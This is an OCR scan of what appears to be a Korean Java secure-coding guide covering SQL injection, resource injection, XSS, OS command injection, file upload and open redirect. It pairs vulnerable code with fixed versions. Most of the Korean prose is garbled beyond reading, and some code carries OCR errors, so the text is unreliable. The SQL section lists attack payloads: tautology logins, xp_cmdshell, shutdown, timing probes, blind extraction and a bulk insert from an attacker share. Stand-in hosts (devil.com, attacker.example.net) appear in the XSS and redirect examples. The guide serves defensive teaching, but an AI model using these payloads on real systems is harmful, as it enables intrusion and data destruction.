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Z2ay 94Y gl o¥ 43 v = RAEG 43, dolHd Zxd FAXW, YunHA
e QlojAl g FOE Qls) WAHE B OR SQL AHY, AESAE ATYEXSS) 5

o
e
342 0% 5 Ak

1. SQL A4 (Improper Neutralization of Special Elements used in an
SQL Command, SQL Injection)

Sl

7t A€
dlelefsle] ~DB) ¢t A58 U ofZe|AlololA e dolEel tt fa4
A &2 A9, 3427 4 F 3 URL 48l SQL &2 4tslstel DBEYE 4
s d¥sAY 22 & Qe Hikerde wRTh

As

fz o

Slolc BEElY

select * from user where id=" AMND sassword=" H

‘ abod W9 WEE SEEnCh

S~ %’ OR1=1- !
select * from user where id="abed’ AND password="«x' OR 1=1 --' j
-
:; select * from user where id="abed' AMD password="xx' OR 1=1 ] ‘

@ =ZHE Request

<19 2-1> SQL A

<" 2-1>0lM dEpd ZAA™, Hekdt 4 o EYAlol M= AHSARTEH dHE #%
< e Y HHQlo]l dAel 24 2] (Dynamic Query)E AT ol /EAT} o=
A 2 At B H FRFEA o482 F Ut

L A I AR

= preparedStatement 229} 319 WA executeQuery(), execute(), executeUpdate() S
AR&8hE Aol uhEz st

Hi1ZE Y=OolE 45 % ®

ret
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= preparedStatement S =5 AT F §le FHoldH, S BEHE AT F A
|8tk Y 71E2 SQLTE A%, SFaa A, ZojAdS BtHom A3t

ot oA
O3 obelA] Fe Fx o] oE Yeld AoE, 9 HZHE tableName} name®] 7k
& Wolx SQL A& A3t O™, name?] F O E name’ OR ‘a’=as YE3H =
2H A s A BAYE Aol Jhssith

i

—_—

String tableName = props.getProperty("jdbc.tableName");

String name = props.getProperty("jdbc.name");

String query = "SELECT * FROM " + tableName + " WHERE Name =" + name;
stmt = con.prepareStatement(query);

rs = stmt.executeQuery();

10:  catch (SQLException sgle) { }
11:  finally { }

o]E QMdd =R WSkstd T Zth RERE AAE "HE preparedStatement
AAE 7 2ERJO R APy, A FES setXXX HAER AAste], 979 ¢=o]
AgEe F2E e AL A= Aol Fasith

1. try

22|

3: String tableName = props.getProperty("jdbc.tableName");
4: String name = props.getProperty("jdbc.name");

5: String query = "SELECT * FROM ? WHERE Name = ? ';
6: stmt = con.prepareStatement(query);

7: stmt.setString(1, tableName);

8: stmt.setString(2, name);

9: rs = stmt.executeQuery();

10: ...

11: }

12:  catch (SQLException sqle) { }

13: finally { }

4 <<« H1ZE YAHOH H43 & Eod

)



29| dA= http requestZFE] AREAL D9} $EE FE3F] SQL Ho)ES AT
Itk AREAL IDE guest’ OR ‘a’='a’—- & AAHEY A9, do] F2 tha3 o] A4H
th o] Hejellx WHEREH ] ¢ FolB=® ¢tsrl $uE2A] guets AMSAS] AR
£ 45 F Uk

(SELECT * FROM members WHERE userld ='guest’ OR ’a’=’a’~- AND password = *)

1:  public class SqllnjectionSample extends HttpServlet

2. |

3: /7399 types A7t

4: private final String GET_USER_INFO_CMD = "get_user_info";

5: private Connection cony;

6:

7:

8: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

9: {

10: String command = request.getParameter("command");

11: if (command.equals(GET_USER_INFO_CMD))

12: {

13: Statement stmt = con.createStatement();

14: String userld = request.getParameter("user_id");

15: String password = request.getParameter("password");

16: String query = "SELECT * FROM members WHERE username= " + userld + "
AND password = "" + password + "";

17: stmt.executeUpdate(query);

18: }

19:

20: }

21:

22: |}

el dAlol A SQL FE A A, SIFERE Yed DSt $EE DB AR AHg
a7] b Fel 2 Gr(makeSecureString ) E Fajel WA

makeSecureString 3= W EAES A
4l

e ol o] A4k 37 A =

A WA AF 21 DSk 4E L A Ao] Agelth 34 TREL A
QAo ID, el Aolzt AolAA Ak webd cAAe] dojE A Do) o5 Al
Fs7 H@ A4S Bt FA TES AYsHE o] YSoixtk

ol r

WA AG =Ae ol SQLECIA 2ol alerole] 4191 ARHEHE Zlolth A
A e A4 AAE, SQLECIA 2ol eloroizh 2 Jhs4ol k. webA

H1E Y=HOolE 45 % #el »

Sl

Slolc BEElY
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<« M1 Loole HAZ H B

SQLES] 2ol WHolE BdeliEd] $H3A AANH FAHCE AAFOZA F
Ae A % vk

A AR AR ZAE A Bubsh £AE AT BA ASS ATSHE Aolth. F
4 TR AT W, 55 EACIE OEAQ 67k ¢ olthE A8 shsAol wuh o

S Lot AR AT UHA BAES AR A OD AAFoH FHo
ol% WalE YA & Atk

EAZE ZEo] oA, 919 F WA, Al WA AF =20& AL Al FF
(Regular expression)< AF8-3F3TE [A\\p{Alnum}] | select | delete | update | insert
| create | alter |dropolA] [A\\p{Alnum}]= &3l A5 A UwA] 45 ¢
n]3lal, select, delete, update, insert, create, alter, drop> SQL oA AME-E&= o 2Fof
Eolth o]& 9 string(“") o E Tt kg FAEE WS

makeSecureString oA AP E = EAES F O HdsA ®HEY] 918 HS oS
kL d
1. #ALe Zo] A
2. Aol x3E= @ojo JE wUTh B AL UolE flsiA e o8 74
©] 2+ SQL procedure® oyt SQL WHASS BEHPFD 2ol ZIHEAT 2~
Moz 2F)ART

B AdAF 7=9] ¢ - JAVA

1:  public class SqllnjectionSample extends HttpServlet

2. |

3 /A% typeg ARAT

4: private final String GET_USER_INFO_CMD = "get_user_info";

5: private Connection con;

6:

7: //id%} password®] o ZAo]A|gHS Scharacter$} 16character® A gHgHct.

8: private final static int MAX_USER_ID_LENGTH = §;

9: private final static int MAX_PASSWORD_LENGTH = 16;

10:

11: // select, delete, update, insert & 71 W oo} Lo, =AE A T2 EAE(Q!
Ado| AHEE S5 23S ASshe AAS 2RI

12: private final static String UNSECURED_CHAR_REGULAR_EXPRESSION =
"[*\\p{Alnum}] | select | delete | update | insert | create | alter | drop";

13:

14: private Pattern unsecuredCharPattern;

15:

16: //7872AE 27135

17: public void initialize()

18: {

19: unsecuredCharPattern =

rek



Pattern.compile(UNSECURED_CHAR_REGULAR_EXPRESSION,
Pattern.CASE_INSENSITIVE);

20:

21: }

22:

B //AERE AL o83 WHAT F oAHE R gl

24: private String makeSecureString(final String str, int maxLength)

25: {

26: String secureStr = str.substring(0, maxLength);

27: Matcher matcher = unsecuredCharPattern.matcher(secureStr);

28: return matcher.replaceAll("");

29: }

30:

31:

32:

33 //9EEE ol BEFF F A= 7] A

34: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

35: {

36: String command = request.getParameter("command");

37: if (command.equals(GET_USER_INFO_CMD))

38: {

39: Statement stmt = con.createStatementy();

40: String userld = request.getParameter("user_id");

41: String password = request.getParameter("new_password");

42: String query = "SELECT * FROM members WHERE username= "' + make-

SecureString(userld, MAX_USER_ID_LENGTH) + " AND password = "" + make-
SecureString(password, MAX_PASSWORD_LENGTH) + "";

43: stmt.executeUpdate(query);

44: }

45:

46: }

47

48: }

el SlAEE Blind SQL injectionFZNA] ALSE 247} Q= FATEESS AR 9
o 5% D=8 A o, Bagasel oA% WEY P AET 1)
Hlo] QLIS ol8F TAYHESL Ausl] H2EES YHEolol .

AE YAolE 23 Y B »

)

Sl

Slolc BEElY
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IF (1=1) SELECT ’true’ ELSE SELECT ’false’ (9183 7% 318)

SELECT CHAR(0x66) (183 <AHS- 318 - T blind sql 3470l A5 ©]8-%)

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (183t <Ak 318)

SELECT ASClI(a) (183 &AH8- &18)

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members (913

& TE 518)

6:  INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10) (A]
28 HR =F)
exec master.xp_cmdshell ‘dir’ (1T HHFo] AR - AFZQ A AY7ts)
“;shutdown - (183 W& o] ARS8 - A|2:H] shut down)
SELECT ID, Username, Email FROM [User] WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN@GELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78- (True, FalseZ %3l tlolE] #& F5 = UL

10:  IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1)) (Al2=® A AR f5)

11:  WAITFOR DELAY '0:0:10- (A28l A AR f5)

12:  MD5(), SHA1(), PASSWORD(), ENCODE(), COMPRESS(), ROW_COUNT(), SCHEMA(),
VERSION() 5] 9183 3 AFe

13:  bulk insert foo from "\ \ YOURIPADDRESS\ C$\ x.txt'(Windows UNC ShareE °}-8)

% F3 £
[1] CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection),
http:/ /cwe.mitre.org/data/ definitions/89.html
[2] 2010 OWASP Top 10 - Al Injection,
https:/ /www.owasp.org/index.php/Top_10_2010-A1
[3] 2011 SANS Top 25 - RANK 1 (CWE-89), http://cwe.mitre.org/top25/

8 <<« H1E UHGHO[El HFT & =W
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2. A AF)(Improper Control of Resource Identifiers, Resource Injection)

7t A
AR JYae ASIA 2 A=E AY(resource)oll Wt AHAE A& = HE, F
s J8H 22E S AlaEo] BEshs Ao Jo= AT AY FAT 5
2R JHpe R e Al="l A Aolol] FEo] BT + Utk

T ——
System
¥  Memory
= Application
=T 5 Memory
R e
(ex: “Service No") :
&= *{ Process
Mu|A !

HZ3

letwork
urce

Cilent
<a¥ 22> A A

. A3 2971

= OO QiEe AT, &9 XE F) APEAR ARESE A, AdT AE5E AX
S5 AU ARol Fojd AotE g iEddA HEE RS A3t 9] Fo] ql¥o] ud
gl A oll= 423 (Directory Traversa) & T3 = Jd& TAE AAC

O

oo dAl= A ¥ ZE9 dE Uepd Zo=E, 959 ¢H(service)S A7
HEE I AFRSt ok Y, FZA A7} Service No 4 o2 2900 e e
A3 7]E2] 80 EEA FEEH = AH| A9 FEEH drF YT 4 UTth

m{m

Hi1ZE Y=OolE 45 % ®

=

ret
v
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19:

public void service() throws IOException
{
int def = 1000;
ServerSocket serverSocket;
Properties props = new Properties();
String fileName = "file_list";
FileInputStream in = new FileInputStream(fileName);
props.load(in);

/] $1RAN AYF ElojElE Wik
String service = props.getProperty("Service No");

int port = Integer.parselnt(service);

flo

// SRl e grom 47
if (port != 0)
serverSocket = new ServerSocket(port + 3000);

A,

else
serverSocket = new ServerSocket(def + 3000);

R A A

P S S S S TN
S N s

public void service() throws IOException
{
ServerSocket serverSocket;
Properties props = new Properties();
String fileName = "file_list";
FileInputStream in = new FileInputStream(fileName);

String service = "";

if (in = null && in.available() > 0)
{

props.load(in);

/] QIREHE FolEE Qeuet)

service = props.getProperty("Service No");

<« H1E

Yel0E A3 Y B

)



16: // 91l dEE 712A] WE AAE g

17: if (".equals(service)) service = "8080";

18:

19: int port = Integer.parselnt(service);

20: // 915 dEelM TENTE HARE & g2EdA A3 s it

21: switch (port)

22: {

23: case 1:

24: port = 3001; break;

25: case 2:

26: port = 3002; break;

27: case 3:

28: port = 3003; break;

29: default:

30: port = 3000;

31: }

32: // ARAAe] AAEdE XES et

33: serverSocket = new ServerSocket(port);

34 e

35}

36 e

theol dAs ZaoldEd AME 2AHEE AEshs T2dglE, 44T Ao
ipe 9ol Y (args[0])S WolM IHE AREstal Ut wHY, FAATE Anlips 94
AlE S FAE e At o] T2 o= & 4L 58 5 ok

2. |

3: SocketClient c;

4: String ip=args[0];

5: int port=7777;

6:

7: try

8: {

9: c=new SocketClient(ip, port);

10: c.startSocket();

11: }

12: catch (IOException e)

13: {

14: System.out.printin("Z2=7 Aol A3 FFUTL";

15: }

16: }

H1E Y=OolE 45 ¥ #e
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12

RZRE HET Mo ipel 2e ANE wod Aes AL nEAA
Bod A9 0eo oot o] 84 Fsd P2 delal AUL AL F Y=

B AAHF 7=9] 9 - JAVA

1:  public static void main(String args[])
2

3 SocketClient ¢;

4 String ip=args[0];

5: int port=7777;
6

7

8

9

try

{

: if("127.0.0.1".equals(ip))
10: {

11: c=new SocketClient(ip, port);
12: c.startSocket();
13: }
14: }
15: catch (IOException e)
16: {
17: System.out.printin("£7l Aol AsjhHFUTh");
18: }
19: }
R A |

<« A1

[1] CWE-99 Improper Control of Resource Identifiers(Resource Injection),
http:/ /cwe.mitre.org/data/definitions/99.html

E Y=holE 45 ¥ Ee
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3. A2 AO|E 2T Y E(Improper Neutralization of Input During Web

Page Generation, Cross-site Scripting)

7t A9

g solAo] otel ARl 2APEE TFAA ALA Zolx AAHA F=T 4 Aok of
0, <% 2:3>3 o] d%ﬂ A e 2R Aol 2 4 oA Aol AHgE A
, A58 52 9 d01AE dYSE A5Ae BRoE B4 £AYET} Sasol
BHE 59 34 AL /J\E}.

o o it

ot AJEEI}
MHO HEE - )‘"ﬂ

=
a

Request

Posting
[AMATJYE)
Client
Response Browser0lM
BRIMASEE 2ol OlM ASEIE M

<T¥Y 23> JZAAE ATHE

L2 ] i i A b L
ARl Aol ARAE A 2AHEE Ajlste] ddsks AE 9] flal A
SA7F dEe BAEAA <, >, & “7 5 replaceT 2] A HE Sy WAEE AMS

3] &lt, &gt, &amp, &quot® *] g},

* HTML 8718 3 83hs AN B A AT A A3k HIML Bl 1) 2]22E(White
List) S 443 &, slg g1t 54sts WS 243

n B o] HFHO e APIE AREEH 1T BAES At oF gt

L= |
29 dAlE 9% dHS name #HOE, 5B A §lo] A wHolA Ao A
83taL Stk wEeF ofelARl FAAT} name #Holl o] ~2AHES %iﬁ Akl A
FO 2 attackjsp FE=TF FAEA HH, FASA HY A FAAHR fE 5o T
e FA Aok
(el : <script>url = "http://devil.com/attack.jsp;</script>)

Hi1ZE Y=OolE 45 % ®

ret
v
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1. <%@page contentType="text/html" pageEncoding="UTF-8"%>
2:  <html>

3:  <head>

4:  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5. </head>

6:  <body>

7: <h1>XSS  Sample</h1>

8: <%

9: < 9RE FH olFE WwE >

10: String name = request.getParameter("name");

11: %>

12: < 9JRE FH T2 nameo] IWE Y >

13: <p>NAME:<%=name%></p>

14:  </body>

15:  </html>

o]

59| oAt o] €] TAEA A replaceAll() WIAEE AMEStY <9} >3do]
HTMLOA ~aHE A4 He EE TAES &l &gt &amp; &quot, 22 FE|
2 WAFgoEA ofolHQl ~2aYPE A9 PSS =Y 5 Atk 2 ol F WHiol

AL 43 AAYSS rsAE Wtk

2
>
oo 1H

M H3F Z=9 o - HTML

1. <%@page contentType="text/html" pageEncoding="UTF-8"%>
2:  <html>

3:  <head>

4:  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5. </head>

6:  <body>

7 <h1>XSS  Sample</hl1>

8: <%

9: < SJRE HH o5& By >

10: String name = request.getParameter("name");
11:

12: <l 9ol iHEgrel g AS5S Ik —>

13: if ( name != null )

14: {

15: name = name.replaceAll("<","&lIt;");

16: name = name.replaceAll(">","&gt;");

17: name = name.replaceAll("&","&amp;");
18: name = name.replaceAll("\"","&quot;");
19: }

20: else

21: {

22: return;

14 <« H1ZE YHO0lH #S A E
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23: }

24: %>

25 < SR FE T2 nameol A ‘91F EAE AAY F =9 >
26: <p>NAME:<%=name%></p>

27: </body>

28:  </html>

the AL 9% YPom AADGRES Yol ALY o] FS Lo oot of
AANAE AADRE BEe| FF o] AUDBE x3o] AHgatn it

1. <%@ page language="java" contentType="text/html; charset=EUC-KR"  pageEncod-
ing="EUC-KR"%>

2:  <IDOCTYPE html PUBLIC "-//W3C//DID HIML 401 Transitional//EN"
"http:/ /www.w3.org/TR/html4/loose.dtd">

3:  <html>

4. <head>

5:  <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">

6:  <title>Insert title here</title>

7

8

9

</head>
<body>
: <% String eid = request.getParameter("eid"); %>
10:
11: Employee ID: <%= eid %>
12:
13: <%
14:
15: Statement stmt = conn.createStatement();
16: ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
17: if (rs != null)
18: {
19: rs.next();
20: String name = rs.getString("name");
21: }
22: %>
23:
24: Employee Name: <%= name %>
25:  </body>
26:  </html>

o5 oA 7§ OWASPolA] AlFstE HRF APIE AHgstal gtk o] Bel APIE
ARSI S ZAE ]88 34 2THES 22 oF Y EAES o8’ 348 &5
o7 e 4 Stk ESAPI= OWASPE-# ©] A (https:/ / www.owasp.org/ index.php/ Esapi)
o4 A|F=™ J2EE, Javascripte} 2 the] ZElFol| ois) MEACR golHY Y&

A ska glek,

)

M1 QHole A5 Y B »
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Java A|7}0{3Y 7I0|E e

B a3 == o - HTML

1. <%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncod-
ing="EUC-KR"%>

2. <IDOCTYPE html PUBLIC '"//W3C//DTD HIML 401 Transitional//EN"
"http:/ /www.w3.org/TR/html4/loose.dtd">

3:  <html>

4:  <head>

5. <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">

6:  <title>Insert title here</title>

7. </head>

8

9

<body>
<%
10: String eid = request.getParameter('eid");
11: String safeEid = ESAPLencoder().encodeForHTMLAttribute(name);

12: %>

13:

14: Employee ID: <%= safeEid %>

15:

16: <%

17:

18: Statement stmt = conn.createStatement();
19: ResultSet rs = stmt.executeQuery("select * from emp where id=" + safeFid);
20: if (rs != null)

21: {

22: rs.next();

23: String name = rs.getString("name");
24: }

25: %>

26: Employee Name: <%= safeName %>
27:  </body>

28:  </html>

9] el A= http:/ /josephoconnell.com/java/xss-html-filter/ 2| 4| A F3}= XSS Filter
o]-&3 A=A FEY dAolth AFHE ZEE o] &dte T3 A|ES Ao gt

FEE HIYPANA AHELD F Utk 39 oA+ HTMLInputFilter().filter #|AE
183l 2449 e dstal Aok

il r]r il

[*]

M H3F Z=9] o - HTML

1:  import javax.servlet.http.HttpServletRequest;

2:  import javax.servlet.http.HttpServletRequestWrapper;

3:  import com.josephoconnell.html. HTMLInputFilter;

4:

5:  public class RequestWrapper extends HttpServletRequestWrapper
6: |

16 <« H1ZE YOO/ 25 L &

rek



7:

8: private String filter(String input)

9: {

10: String clean = new HTMLInputFilter().filter(input);
11: return clean;

12: }

13: }

L A |
[1] CWE-79 Improper Neutralization of Input During Web Page Generation(Cross-site Scripting),
http:/ /cwe.mitre.org/data/ definitions/79.html
[2] 2010 OWASP Top 10 - A2 Cross-Site Scripting(XSS),
https:/ /www.owasp.org/index.php/Top_10_2010-A2
[3] 2011 SANS Top 25 - RANK 4 (CWE-79), http://cwe.mitre.org/top25/

Sl

Slolc BEElY
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Java A|fo{3ig 7I0|E e

4. FFGAA H# | A (Improper Neutralization of Special Elements Used in an

OS Command, OS Command Injection)

7% A9
A AFAE FASA e A ARl LA

H
TAE ) A= A, A=A o2 Al=H

o
0 2
4 & o
Lol fu

2~Ed oly
——%

)
o
9‘&
fr

H
fru
u
<
o

)
3
30
o

7 71 wEel A AE e

s ol 3E 23
wow, ZAX7) Asks ol Aaol ks B,

@ Request0il ZZHE HWE
I g

a il ™
I M N 0 WD

usr_name=tom/binls gz} ot HME
- Sz0| A &

33 ™
<9 24> EFYAA HHE A

w9 QAEelAE Fal AHURE Asw BH0E HPAYA SRS o FelAel e
TAFL 9FoA AYHE Ge T AxY WE PHAR A gt

)% Yol et WHoIS AHFAL Ade] BRF B ol Wo] Yol BLH 2

2 g AR B1 9% YY) et Hastel g

o A
29 AgAl= cmd.exe HHOE ALE35}S] rmanDB.bat H] X WHo]E 85y, o F
oA HMEE+ dir_type #°] manDB.bat®] /UAZ O EA wWo] ~ER ] Yol AHEH
Of wheF, ojite] FAATE oEshA| @2 BALS I A, dirtypeo] =W 1A

gol obd A, MAGH A¥E £G4 vk

)

18 <« H1E Ybjolg 25 Y B



1. e
2: props.load(in);

3: String version = props.getProperty("dir_type");

4: String cmd = new String("cmd.exe /K \"rmanDB.bat \"");

5: Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + version);
6 e

thgol clAlsh ol g AoH QA MAe WEo F3, 9% Y| met
A ARG HHSHES sof, 9)5e] PAPG o] W2 AgD oA WA
sholof B,

1. e
2: props.load(in);
3: String version[] = {"1.0", "1.1"};
4: int versionSelection = Integer.parselnt(props.getProperty("version"));
5: String cmd = new String("emd.exe /K \"rmanDB.bat \"");
6: String vs = "";
7: if (versionSelection == 0)
8: vs = version[0];
9: else if (versionSelection == 1)
10: vs = version[1];
11: else
12: vs = version[1];
13:  Runtime.getRuntime().exec(cmd + "  c:\\prog_cmd\\" + vs);
14 e
A i

[1] CWE-78 Improper Neutralization of Special Elements used in an OS Command(OS
Command Injection), http://cwe.mitre.org/data/definitions/78.html

[2] 2010 OWASP Top 10 - Al Injection,
https:/ /www.owasp.org/index.php/Top_10_2010-A1

[3] 2011 SANS Top 25 - RANK 2 (CWE-78), http://cwe.mitre.org/top25/

Hi1ZE Y=OolE 45 % ®
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5. AT ¥4 39U YZ=(Unrestricted Upload of File with Dangerous Type)

7k A
AWZoA dae 5 s

o] HAE FAA WL F
s o YL §

¥ 4 ok

2IHE H(asp, jsp, php HL 5)°] t 7bssta,
3l A AYNE F de AF FAAE *ia‘f &

]
AlZE R Rl ddsiAy o) 5o} ddste] AlaElS Ao

2l

© I Y=

s QEESE Y BRI 21F AT, YR e S AN TFEE 9o
J

B
 SolEelsiE P02 HgE AW YREHES 3, FPAE UlaEs T 9
o] Aelst

7

oy
v BAAY A4S R AR AT ATV B Y Y o RE 4P T 5 UE AP
.

YREF Yo B FEAS A wom, 9T HHe YL FAAL U=
SaA A48 F ek

20 <« HM1E YLHoole #E H E
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2:  public void upload(HttpServletRequest request) throws ServletException

3

4 MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
5: String next = (String) mRequest.getFileNames().next();

6 MultipartFile file = mRequest.getFile(next);

7

8

9

// MultipartFileZ4-F] fileS A
String fileName = file.getOriginalFilename();

Sl

11: // upload 1Yol T A}, 270 FEA AZLE A b
12: File uploadDir = new File("/app/webapp/data/upload/notice");
13: String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;

14: =
. * o|lsl i ZE] * iu
15: /* ©l3} file upload ¥ */ =
T kU
17: ) oo
]

o

In

Y2c sl BgAE Al H85A g B A5 JREE Avsa 9
or), A A elN YA FYPe Tl A8HA B ek

2 public void upload(HttpServletRequest request) throws ServletException

3

4 MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
5: String next = (String) mRequest.getFileNames().next();

6 MultipartFile file = mRequest.getFile(next);

7 if ( file == null )

8 return ;

9

10: // REE IY VS AT

11: int size = file.getSize();

12: if ( size > MAX_FILE_SIZE ) throw new ServletException("°l&*);
13:

14: // MultipartFileZ H-F fileS I+

15: String fileName = file.getOriginalFilename().toLowerCase();

16:

17: // BOIEZY2AE W o7 JdrE vdo| ggxE A =i

18: if ( fileName != null )

19: {

20: if(fileName.endsWith(".doc") | |fileName.endsWith(".hwp") | |
fileName.endsWith(".pdf") || fileName.endsWith(".xls") )

H1ZE Y=HOolE 45 H #Eel »» 21
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Java A|fo{3ig 7I0|E e

21: {

22: /* file E= FE */

23: }

24: else throw new ServletExeption("°l#");
25: }

2 /) 9=E el PeH SAE BEE FEO| e 914715,
27: File uploadDir = new File("/app/webapp/data/upload/notice");
28: String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;

29:

30: /* ©l3} file upload ¥ */

3. e

32: |}

REY o] U FEYS AAA wom, 99T 4o B BAN) Y2
EaAY AEE = Atk

1:  import java.util.Hashtable;

2:  import java.util.regex. Matcher;

3:  import java.util.regex.Pattern;

4:

5. import javax.servlet.ServletException;

6:  import javax.servlet.http.Cookie;

7:  import javax.servlet.http.HttpServlet;

8:  import javax.servlet.http.HttpServletRequest;

9:  import javax.servlet.http.HttpServletResponse;

10:

11:  public class DocService extends HittpServlet

12: |

13: private final String UPLOAD_DOCUMENT_COMMAND = "upload_document';

14: private final String ADDITIONAL_OPERATION_PARAM = "additional_operation";

15:

16:

17: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

18: {

19:

20: // Create a new file upload handler

21: ServletFileUpload upload = new ServletFileUpload(factory);
22: // maximum file size to be uploaded.

23: upload.setSizeMax( maxFileSize );

24:

25: try

26: {

27: // Parse the request to get file items.

22 <« HMI1E YHolE AZ ¥ BH
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28: List fileltems = upload.parseRequest(request);

29:

30: // Process the uploaded file items

31: Iterator i = fileltems.iterator();

32:

33: while ( ihasNext () )

34: {

35: Fileltem fi = (Fileltem)i.next();

36: if ( !fiisFormField () )

37 {

38: // Get the uploaded file parameters
39: String fieldName = fi.getFieldName();
40: String fileName = fi.getName();

41: String contentType = fi.getContentType();
42: boolean isinMemory = fi.islnMemory();
43: long sizeInBytes = fi.getSize();

44: // Write the file

45: if( fileName lastIndexOf("\\") >= 0 )
46: {

47: file = new File( filePath +

48: fileName.substring( fileName lastindexOf("\\"))) ;
49: }

50: else

51: {

52: file = new File( filePath +

53: fileName.substring(fileName.lastindexOf("\ \")+1)) ;
54: }

55: fi.write( file ) ;

56: }

57: }

58:

59: }

60:

61: }

O dAE dRE sl AFAE ARdsta ok FFATE H3
¢ B9l EXECUTABLE_FILE_TYPEC! 3i5dh= 7% 4=E=E Aldst

B aAF 7=9 o - JAVA

U,
o
i

import java.io.File;

import java.io.FilelnputStream;
import java.io.IOException;
import java.math.Biglnteger;
import java.net. URLDecoder;

AN LEN O

import java.sql.Connection;

H1E A= 0lE

74
(=]

=
=

=1]
=

HH »

)
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24

10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:

import java.sql.Statement;
import java.util. Hashtable;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.Cookie;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http. HttpServletResponse;

public class DocService extends HttpServlet

{
private final String UPLOAD_DOCUMENT_COMMAND
private final String ADDITIONAL_OPERATION_PARAM

= "upload_document';

= "additional_operation";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException
{

// Create a new file upload handler

ServletFileUpload upload = new ServletFileUpload(factory);

// maximum file size to be uploaded.
upload.setSizeMax( maxFileSize );

try
{

// Parse the request to get file items.
List fileltems = upload.parseRequest(request);

// Process the uploaded file items

Iterator i = fileltems.iterator();

int index = 0;

while ( ihasNext () )
{
Fileltem fi = (Fileltem)i.next();
if ( !fi.isFormField () )
{
// Get the uploaded file parameters
String fieldName = fi.getFieldName();
String fileName = fi.getName();
String contentType = fi.getContentType();
boolean isinMemory = fi.islnMemory();

<« H1E

fHolH A48 #

Hel
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51: long sizelnBytes = fi.getSize();

52: // Write the file

53: if( fileName lastIndexOf("\\") >= 0 )

54: {

55: file = new File( filePath +

56: fileName.substring( fileName lastindexOf("\\"))) ;

57: }

58: else

59: {

60: file = new File( filePath + =

61: fileName substring(fileName.lastindexOf("\ \ ")+1)) ; N

62: } 0z

63: // L UE-E 7Ete 2 3l filed] types THHEIITE

64: if (extractFileType(file) == EXECUTABLE_FILE_TYPE)

65: { -

66: // A3 YL uploaddtd 1@F FtPo|ER o2 AE3ith qu

67: return; =
kU

68: } on

69: fi.write( file ) ; N

70: } §

71: } In

72:

73: }

74:

75}

g A

[1] CWE-434 Unrestricted Upload of File with Dangerous Type,
http:/ /cwe.mitre.org/data/ definitions /434.html
[2] 2011 SANS Top 25 - RANK 4 (CWE-434), http:/ /cwe.mitre.org/top25/

H1E Y=HHolE 45 % #el »» 25
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6. AFEA &= URL F42E AF5 HE JZ(URL Redirection to
Untrusted Site, Open Redirect)

L
AARRE YHHE e ARAIES FaE AgHe] AFOR AFse
2239 e 3)9(phishing) F2o| =EHE HkHe 744 5 Ak Aurx o Feoldl
=94 A58 URL F42 Qals) Be 1 dasita 4% & slov, A9 £ 2

- @ EAOIE URL g
0 K=oz '

IAI0IE
MIERSO

AL Xt

<19 2-6> A HEA ¥E URL F4= 25 A& d4

. AR Iy
n AE AAT 9 Ao]ES] URLHA =H|Qle she|Eg2ER wejshal, AREA JEite
s QAL A|E FAE AMSHE Afols dEE ghol SolER 2Bl A5}
Zelafof gt

. oA
tew ge DET AW EAE AY FAAE 0t 2 YA YA 42
S FomM I THAIE Bom HEIEE T 4 A
(<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click</a>)

26 <« M1ZE YLHOole #E H &
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1T e
2:  protected void doGet(HttpServletRequest request, HttpServletResponse response)

3:  throws ServletException, IOException

4. |

5: String query = request.getQueryString|();

6: if (query.contains("url"))

7: {

8: String url = request.getParameter("url"); -
9: response.sendRedirect(url); ;
10: } ox
19 e

el dAleh o, 9RE AAY URLH SHASL oSl 288 448 ¥, 1 %
oA AEFosH AAFA e AolEze] HIL AV & Uk

B A% 3=9 ¢ - JAVA

Slolc BEElY

1:  protected void doGet(HttpServletRequest request, HittpServletResponse response) throws
ServletException, IOException

2. |

3: // T FolA o]F3dl= URL B|2EE e

4 String allowURL[] = { "http://urll.com", "http:/ /url2.com", "http://url3.com" };

5: // 4= wl2 g Aaixl URLY order® WH=TH

6: String nurl = request.getParameter("nurl");

7: try

8: {

9: Integer n = Integer.parselnt(nurl);

10: if (n>=0 &&n <3

11: response.sendRedirect(allowURL[n]);

12: }

13: catch (NumberFormatException nfe)

14: {

15: // AHEAE Q-] A7E obd A HAe] o2 E A2tk

16: }

17: }

EERIR RSP C IS E
.

rlo
S
2y
o
)
olN
504

o] MBEH oA ARgsRaL Q)

import java.io.File;

import java.io.FileInputStream;
import java.io.IOException;

import java.net. URLDecoder;

H1E fHoolE HE & EH »» 27
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28

20:
21:
22:
23:
24:
25:
26:

27

29:
30:

47

import java.sql.Connection;
import java.sql.Statement;
import java.util. Hashtable;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.Cookie;

import javax.servlet.http.HttpServlet;

import javax.servlet.http. HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class IndexService extends HittpServlet

{
private final String REGISTER SUBPAGE_SHORTCUT_COMMAND =

"register_sub_page";

